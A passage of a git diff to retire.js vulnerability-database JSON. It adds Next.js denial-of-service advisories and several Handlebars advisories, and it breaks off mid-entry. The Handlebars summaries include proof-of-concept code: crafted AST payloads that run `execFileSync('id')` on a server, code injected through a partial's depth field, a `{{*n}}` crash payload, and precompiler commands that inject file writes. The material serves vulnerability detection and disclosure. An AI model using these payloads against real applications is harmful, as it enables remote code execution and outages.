"https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.2.2-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.3.0-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.3.1-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.4.0-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.4.2-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.5.1-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] } ], "extractors": { diff --git a/repository/jsrepository-v5-combined.json b/repository/jsrepository-v5-combined.json index e57bf996..31f168d6 100644 --- a/repository/jsrepository-v5-combined.json +++ b/repository/jsrepository-v5-combined.json @@ -4537,6 +4537,165 @@ "info": [ "https://nvd.nist.gov/vuln/detail/CVE-2021-23369" ] + }, + { + "atOrAbove": "4.0.0", + "below": "4.7.9", + "severity": "medium", + "cwe": [ + "CWE-1321", + "CWE-79" + ], + "identifiers": { + "summary": "## Summary\n\n`resolvePartial()` in the Handlebars runtime resolves partial names via a plain property lookup on `options.partials` without guarding against prototype-chain traversal. When `Object.prototype` has been polluted with a string value whose key matches a partial reference in a template, the polluted string is used as the partial body and rendered **without HTML escaping**, resulting in reflected or stored XSS.\n\n## Description\n\nThe root cause is in `lib/handlebars/runtime.js` inside `resolvePartial()` and `invokePartial()`:\n\n```javascript\n// Vulnerable: plain bracket access traverses Object.prototype\npartial = options.partials[options.name];\n```\n\n`hasOwnProperty` is never checked, so if `Object.prototype` has been seeded with a key whose name matches a partial reference in the template (e.g. `widget`), the lookup succeeds and the polluted string is returned. The runtime emits a prototype-access warning, but the partial is still resolved and its content is inserted into the rendered output unescaped. This contradicts the documented security model and is distinct from CVE-2021-23369 and CVE-2021-23383, which addressed data property access rather than partial template resolution.\n\n**Prerequisites for exploitation:**\n1. The target application must be vulnerable to prototype pollution (e.g. via `qs`, `minimist`, or\n any querystring/JSON merge sink).\n2. The attacker must know or guess the name of a partial reference used in a template.\n\n## Proof of Concept\n\n```javascript\nconst Handlebars = require('handlebars');\n\n// Step 1: Prototype pollution (via qs, minimist, or another vector)\nObject.prototype.widget = '';\n\n// Step 2: Normal template that references a partial\nconst template = Handlebars.compile('
Welcome! {{> widget}}
');\n\n// Step 3: Render — XSS payload injected unescaped\nconst output = template({});\n// Output:
Welcome!
\n```\n\n> The runtime prints a prototype access warning claiming \"access has been denied,\" but the partial still resolves and returns the polluted value.\n\n## Workarounds\n\n- Apply `Object.freeze(Object.prototype)` early in application startup to prevent prototype pollution. Note: this may break other libraries.\n- Use the Handlebars runtime-only build (`handlebars/runtime`), which does not compile templates and reduces the attack surface.", + "githubID": "GHSA-2qvq-rjwj-gvw9", + "CVE": [ + "CVE-2026-33916" + ] + }, + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2qvq-rjwj-gvw9", + "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] + }, + { + "atOrAbove": "4.0.0", + "below": "4.7.9", + "severity": "critical", + "cwe": [ + "CWE-843", + "CWE-94" + ], + "identifiers": { + "summary": "## Summary\n\n`Handlebars.compile()` accepts a pre-parsed AST object in addition to a template string. The `value` field of a `NumberLiteral` AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to `compile()` can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.\n\n## Description\n\n`Handlebars.compile()` accepts either a template string or a pre-parsed AST. When an AST is supplied, the JavaScript code generator in `lib/handlebars/compiler/javascript-compiler.js` emits `NumberLiteral` values verbatim:\n\n```javascript\n// Simplified representation of the vulnerable code path:\n// NumberLiteral.value is appended to the generated code without escaping\ncompiledCode += numberLiteralNode.value;\n```\n\nBecause the value is not wrapped in quotes or otherwise sanitized, passing a string such as `{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //` as the `value` of a `NumberLiteral` causes the generated `eval`-ed code to break out of its intended context and execute arbitrary commands.\n\nAny endpoint that deserializes user-controlled JSON and passes the result directly to `Handlebars.compile()` is exploitable.\n\n## Proof of Concept\n\nServer-side Express application that passes `req.body.text` to `Handlebars.compile()`:\n\n\n```Javascript\nimport express from \"express\";\nimport Handlebars from \"handlebars\";\n\nconst app = express();\napp.use(express.json());\n\napp.post(\"/api/render\", (req, res) => {\n let text = req.body.text;\n let template = Handlebars.compile(text);\n let result = template();\n res.send(result);\n});\n\napp.listen(2123);\n```\n\n```\nPOST /api/render HTTP/1.1\nContent-Type: application/json\nHost: 127.0.0.1:2123\n\n{\n \"text\": {\n \"type\": \"Program\",\n \"body\": [\n {\n \"type\": \"MustacheStatement\",\n \"path\": {\n \"type\": \"PathExpression\",\n \"data\": false,\n \"depth\": 0,\n \"parts\": [\"lookup\"],\n \"original\": \"lookup\",\n \"loc\": null\n },\n \"params\": [\n {\n \"type\": \"PathExpression\",\n \"data\": false,\n \"depth\": 0,\n \"parts\": [],\n \"original\": \"this\",\n \"loc\": null\n },\n {\n \"type\": \"NumberLiteral\",\n \"value\": \"{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //\",\n \"original\": 1,\n \"loc\": null\n }\n ],\n \"escaped\": true,\n \"strip\": { \"open\": false, \"close\": false },\n \"loc\": null\n }\n ]\n }\n}\n```\n\nThe response body will contain the output of the `id` command executed on the server.\n\n## Workarounds\n\n- **Validate input type** before calling `Handlebars.compile()`: ensure the argument is always a `string`, never a plain object or JSON-deserialized value.\n ```javascript\n if (typeof templateInput !== 'string') {\n throw new TypeError('Template must be a string');\n }\n ```\n- Use the Handlebars **runtime-only** build (`handlebars/runtime`) on the server if templates are pre-compiled at build time; `compile()` will be unavailable.", + "githubID": "GHSA-2w6w-674q-4c4q", + "CVE": [ + "CVE-2026-33937" + ] + }, + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2w6w-674q-4c4q", + "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] + }, + { + "atOrAbove": "4.0.0", + "below": "4.7.9", + "severity": "high", + "cwe": [ + "CWE-843", + "CWE-94" + ], + "identifiers": { + "summary": "## Summary\n\nThe `@partial-block` special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites `@partial-block` with a crafted Handlebars AST, a subsequent invocation of `{{> @partial-block}}` compiles and executes that AST, enabling arbitrary JavaScript execution on the server.\n\n## Description\n\nHandlebars stores `@partial-block` in the `data` frame that is accessible to templates. In nested contexts, a parent frame's `@partial-block` is reachable as `@_parent.partial-block`. Because the data frame is a mutable object, any registered helper that accepts an object reference and assigns properties to it can overwrite `@partial-block` with an attacker-controlled value.\n\nWhen `{{> @partial-block}}` is subsequently evaluated, `invokePartial` receives the crafted object. The runtime, finding an object that is not a compiled function, falls back to **dynamically compiling** the value via `env.compile()`. If that value is a well-formed Handlebars AST containing injected code, the injected JavaScript runs in the server process.\n\nThe `handlebars-helpers` npm package (commonly used with Handlebars) includes several helpers such as `merge` that can be used as the mutation primitive.\n\n## Proof of Concept\n\nTested with Handlebars 4.7.8 and `handlebars-helpers`:\n\n```javascript\nconst Handlebars = require('handlebars');\nconst merge = require('handlebars-helpers').object().merge;\nHandlebars.registerHelper('merge', merge);\n\nconst vulnerableTemplate = `\n{{#*inline \"myPartial\"}}\n {{>@partial-block}}\n {{>@partial-block}}\n{{/inline}}\n{{#>myPartial}}\n {{merge @_parent partial-block=1}}\n {{merge @_parent partial-block=payload}}\n{{/myPartial}}\n`;\n\nconst maliciousContext = {\n payload: {\n type: \"Program\",\n body: [\n {\n type: \"MustacheStatement\",\n depth: 0,\n path: {\n type: \"PathExpression\",\n parts: [\"pop\"],\n original: \"this.pop\",\n // Code injected via depth field — breaks out of generated function call\n depth: \"0])),function () {console.error('VULNERABLE: RCE via @partial-block');}()));//\",\n },\n },\n ],\n },\n};\n\nHandlebars.compile(vulnerableTemplate)(maliciousContext);\n// Prints: VULNERABLE: RCE via @partial-block\n```\n\n## Workarounds\n\n- **Use the runtime-only build** (`require('handlebars/runtime')`). The `compile()` method is absent, eliminating the vulnerable fallback path.\n- **Audit registered helpers** for any that write arbitrary values to context objects. Helpers should treat context data as read-only.\n- **Avoid registering helpers** from third-party packages (such as `handlebars-helpers`) in contexts where templates or context data can be influenced by untrusted input.", + "githubID": "GHSA-3mfm-83xf-c92r", + "CVE": [ + "CVE-2026-33938" + ] + }, + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-3mfm-83xf-c92r", + "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] + }, + { + "atOrAbove": "4.0.0", + "below": "4.7.9", + "severity": "low", + "cwe": [ + "CWE-367" + ], + "identifiers": { + "summary": "## Summary\n\nIn `lib/handlebars/runtime.js`, the `container.lookup()` function uses `container.lookupProperty()` as a gate check to enforce prototype-access controls, but then discards the validated result and performs a second, unguarded property access (`depths[i][name]`). This Time-of-Check Time-of-Use (TOCTOU) pattern means the security check and the actual read are decoupled, and the raw access bypasses any sanitization that `lookupProperty` may perform.\n\nOnly relevant when the **compat** compile option is enabled (`{compat: true}`), which activates `depthedLookup` in `lib/handlebars/compiler/javascript-compiler.js`.\n\n## Description\n\nThe vulnerable code in `lib/handlebars/runtime.js` (lines 137–144):\n\n```javascript\nlookup: function (depths, name) {\n const len = depths.length;\n for (let i = 0; i < len; i++) {\n let result = depths[i] && container.lookupProperty(depths[i], name);\n if (result != null) {\n return depths[i][name]; // BUG: should be `return result;`\n }\n }\n},\n```\n\n`container.lookupProperty()` (lines 119–136) enforces `hasOwnProperty` checks and `resultIsAllowed()` prototype-access controls. However, `container.lookup()` only uses `lookupProperty` as a boolean gate — if the gate passes (`result != null`), it then performs an independent, raw `depths[i][name]` access that circumvents any transformation or wrapped value that `lookupProperty` may have returned.\n\n## Workarounds\n\n- Avoid enabling `{ compat: true }` when rendering templates that include untrusted data.\n- Ensure context data objects are plain JSON (no Proxies, no getter-based accessor properties).", + "githubID": "GHSA-442j-39wm-28r2" + }, + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-442j-39wm-28r2", + "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] + }, + { + "atOrAbove": "4.0.0", + "below": "4.7.9", + "severity": "high", + "cwe": [ + "CWE-754" + ], + "identifiers": { + "summary": "## Summary\n\nWhen a Handlebars template contains decorator syntax referencing an unregistered decorator (e.g. `{{*n}}`), the compiled template calls `lookupProperty(decorators, \"n\")`, which returns `undefined`. The runtime then immediately invokes the result as a function, causing an unhandled `TypeError: ... is not a function` that crashes the Node.js process. Any application that compiles user-supplied templates without wrapping the call in a `try/catch` is vulnerable to a single-request Denial of Service.\n\n## Description\n\nIn `lib/handlebars/compiler/javascript-compiler.js`, the code generated for a decorator invocation looks like:\n\n```javascript\nfn = lookupProperty(decorators, \"n\")(fn, props, container, options) || fn;\n```\n\nWhen `\"n\"` is not a registered decorator, `lookupProperty(decorators, \"n\")` returns `undefined`. The expression immediately attempts to call `undefined` as a function, producing:\n\n```\nTypeError: lookupProperty(...) is not a function\n```\n\nBecause the error is thrown inside the compiled template function and is not caught by the runtime, it propagates up as an unhandled exception and — when not caught by the application — crashes the Node.js process.\n\nThis inconsistency is notable: references to unregistered **helpers** produce a clean `\"Missing helper: ...\"` error, while references to unregistered **decorators** cause a hard crash.\n\n**Attack scenario:** An attacker submits `{{*n}}` as template content to any endpoint that calls `Handlebars.compile(userInput)()`. Each request crashes the server process; with process managers that auto-restart (PM2, systemd), repeated submissions create a persistent DoS.\n\n## Proof of Concept\n\n```javascript\nconst Handlebars = require('handlebars'); // Handlebars 4.7.8, Node.js v22.x\n\n// Any of these payloads crash the process\nHandlebars.compile('{{*n}}')({});\nHandlebars.compile('{{*decorator}}')({});\nHandlebars.compile('{{*constructor}}')({});\n```\n\nExpected crash output:\n```\nTypeError: lookupProperty(...) is not a function\n at Function.eval [as decorator] (eval at compile (...javascript-compiler.js:134:36))\n```\n\n## Workarounds\n\n- **Wrap compilation and rendering in `try/catch`:**\n ```javascript\n try {\n const result = Handlebars.compile(userInput)(context);\n res.send(result);\n } catch (err) {\n res.status(400).send('Invalid template');\n }\n ```\n- **Validate template input** before passing it to `compile()`. Reject templates containing decorator syntax (`{{*...}}`) if decorators are not used in your application.\n- **Use the pre-compilation workflow:** compile templates at build time and serve only pre-compiled templates; do not call `compile()` at request time.", + "githubID": "GHSA-9cx6-37pm-9jff", + "CVE": [ + "CVE-2026-33939" + ] + }, + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-9cx6-37pm-9jff", + "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] + }, + { + "atOrAbove": "4.0.0", + "below": "4.7.9", + "severity": "high", + "cwe": [ + "CWE-843", + "CWE-94" + ], + "identifiers": { + "summary": "## Summary\n\nA crafted object placed in the template context can bypass all conditional guards in `resolvePartial()` and cause `invokePartial()` to return `undefined`. The Handlebars runtime then treats the unresolved partial as a source that needs to be compiled, passing the crafted object to `env.compile()`. Because the object is a valid Handlebars AST containing injected code, the generated JavaScript executes arbitrary commands on the server. The attack requires the adversary to control a value that can be returned by a dynamic partial lookup.\n\n## Description\n\nThe vulnerable code path spans two functions in `lib/handlebars/runtime.js`:\n\n**`resolvePartial()`:** A crafted object with `call: true` satisfies the first branch condition (`partial.call`) and causes an early return of the original object itself, because none of the remaining conditionals (string check, `options.partials` lookup, etc.) match a plain object. The function returns the crafted object as-is.\n\n**`invokePartial()`:** When `resolvePartial` returns a non-function object, `invokePartial` produces `undefined`. The runtime interprets `undefined` as \"partial not yet compiled\" and calls `env.compile(partial, ...)` where `partial` is the crafted AST object. The JavaScript code generator processes the AST and emits JavaScript containing the injected payload, which is then evaluated.\n\n**Minimum prerequisites:**\n1. The template uses a dynamic partial lookup: `{{> (lookup . \"key\")}}` or equivalent.\n2. The adversary can set the value of the looked-up context property to a crafted object.\n\nIn server-side rendering scenarios where templates process user-supplied context data, this enables full Remote Code Execution.\n\n## Proof of Concept\n\n```javascript\nconst Handlebars = require('handlebars');\n\nconst vulnerableTemplate = `{{> (lookup . \"payload\")}}`;\n\nconst maliciousContext = {\n payload: {\n call: true, // bypasses the primary resolvePartial branch\n type: \"Program\",\n body: [\n {\n type: \"MustacheStatement\",\n depth: 0,\n path: {\n type: \"PathExpression\",\n parts: [\"pop\"],\n original: \"this.pop\",\n // Injected code breaks out of the generated function's argument list\n depth: \"0])),function () {console.error('VULNERABLE: object -> dynamic partial -> RCE');}()));//\",\n },\n },\n ],\n },\n};\n\nHandlebars.compile(vulnerableTemplate)(maliciousContext);\n// Prints: VULNERABLE: object -> dynamic partial -> RCE\n```\n\n## Workarounds\n\n- **Use the runtime-only build** (`require('handlebars/runtime')`). Without `compile()`, the fallback compilation path in `invokePartial` is unreachable.\n- **Sanitize context data** before rendering: ensure no value in the context is a non-primitive object that could be passed to a dynamic partial.\n- **Avoid dynamic partial lookups** (`{{> (lookup ...)}}`) when context data is user-controlled.", + "githubID": "GHSA-xhpv-hc6g-r9c6", + "CVE": [ + "CVE-2026-33940" + ] + }, + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-xhpv-hc6g-r9c6", + "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] + }, + { + "atOrAbove": "4.0.0", + "below": "4.7.9", + "severity": "high", + "cwe": [ + "CWE-116", + "CWE-79", + "CWE-94" + ], + "identifiers": { + "summary": "## Summary\n\nThe Handlebars CLI precompiler (`bin/handlebars` / `lib/precompiler.js`) concatenates user-controlled strings — template file names and several CLI options — directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser.\n\n## Description\n\n`lib/precompiler.js` generates JavaScript source by string-interpolating several values directly into the output. Four distinct injection points exist:\n\n### 1. Template name injection\n\n```javascript\n// Vulnerable code pattern\noutput += 'templates[\"' + template.name + '\"] = template(...)';\n```\n\n`template.name` is derived from the file system path. A filename containing `\"` or `'];` breaks out of the string literal and injects arbitrary JavaScript.\n\n### 2. Namespace injection (`-n` / `--namespace`)\n\n```javascript\n// Vulnerable code pattern\noutput += 'var templates = ' + opts.namespace + ' = ' + opts.namespace + ' || {};';\n```\n\n`opts.namespace` is emitted as raw JavaScript. Anything after a `;` in the value becomes an additional JavaScript statement.\n\n### 3. CommonJS path injection (`-c` / `--commonjs`)\n\n```javascript\n// Vulnerable code pattern\noutput += 'var Handlebars = require(\"' + opts.commonjs + '\");';\n```\n\n`opts.commonjs` is interpolated inside double quotes with no escaping, allowing `\"` to close the string and inject further code.\n\n### 4. AMD path injection (`-h` / `--handlebarPath`)\n\n```javascript\n// Vulnerable code pattern\noutput += \"define(['\" + opts.handlebarPath + \"handlebars.runtime'], ...)\";\n```\n\n`opts.handlebarPath` is interpolated inside single quotes, allowing `'` to close the array element.\n\nAll four injection points result in code that executes when the generated bundle is `require()`d or loaded in a browser.\n\n## Proof of Concept\n\n**Template name vector (creates a file `pwned` on disk):**\n\n```bash\nmkdir -p templates\nprintf 'Hello' > \"templates/evil'] = (function(){require(\\\"fs\\\").writeFileSync(\\\"pwned\\\",\\\"1\\\")})(); //.handlebars\"\n\nnode bin/handlebars templates -o out.js\nnode -e 'require(\"./out.js\")' # Executes injected code, creates ./pwned\n```\n\n**Namespace vector:**\n\n```bash\nnode bin/handlebars templates -o out.js \\\n -n \"App.ns; require('fs').writeFileSync('pwned2','1'); //\"\nnode -e 'require(\"./out.js\")'\n```\n\n**CommonJS vector:**\n\n```bash\nnode bin/handlebars templates -o out.js \\\n -c 'handlebars\"); require(\"fs\").writeFileSync(\"pwned3\",\"1\"); //'\nnode -e 'require(\"./out.js\")'\n```\n\n**AMD vector:**\n\n```bash\nnode bin/handlebars templates -o out.js -a \\\n -h \"'); require('fs').writeFileSync('pwned4','1'); // \"\nnode -e 'require(\"./out.js\")'\n```\n\n## Workarounds\n\n- **Validate all CLI inputs** before invoking the precompiler. Reject filenames and option values that contain characters with JavaScript string-escaping significance (`\"`, `'`, `;`, etc.).\n- **Use a fixed, trusted namespace string** passed via a configuration file rather than command-line arguments in automated pipelines.\n- **Run the precompiler in a sandboxed environment** (container with no write access to sensitive paths) to limit the impact of successful exploitation.\n- **Audit template filenames** in any repository or package that is consumed by an automated build pipeline.", + "githubID": "GHSA-xjpj-3mr7-gcpf", + "CVE": [ + "CVE-2026-33941" + ] + }, + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-xjpj-3mr7-gcpf", + "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] + }, + { + "atOrAbove": "4.6.0", + "below": "4.7.9", + "severity": "medium", + "cwe": [ + "CWE-1321" + ], + "identifiers": { + "summary": "## Summary\n\nThe prototype method blocklist in `lib/handlebars/internal/proto-access.js` blocks `constructor`, `__defineGetter__`, `__defineSetter__`, and `__lookupGetter__`, but omits the symmetric `__lookupSetter__`. This omission is only exploitable when the non-default runtime option `allowProtoMethodsByDefault: true` is explicitly set — in that configuration `__lookupSetter__` becomes accessible while its counterparts remain blocked, creating an inconsistent security boundary.\n\n`4.6.0` is the version that introduced `protoAccessControl` and the `allowProtoMethodsByDefault` runtime option.\n\n## Description\n\nIn `lib/handlebars/internal/proto-access.js`:\n\n```javascript\nconst methodWhiteList = Object.create(null);\nmethodWhiteList['constructor'] = false;\nmethodWhiteList['__defineGetter__'] = false;\nmethodWhiteList['__defineSetter__'] = false;\nmethodWhiteList['__lookupGetter__'] = false;\n// __lookupSetter__ intentionally blocked in CVE-2021-23383,\n// but omitted here — creating an asymmetric blocklist\n```\n\nAll four legacy accessor helpers (`__defineGetter__`, `__defineSetter__`, `__lookupGetter__`, `__lookupSetter__`) were involved in the exploit chain addressed by CVE-2021-23383. Three of the four were explicitly blocked; `__lookupSetter__` was left 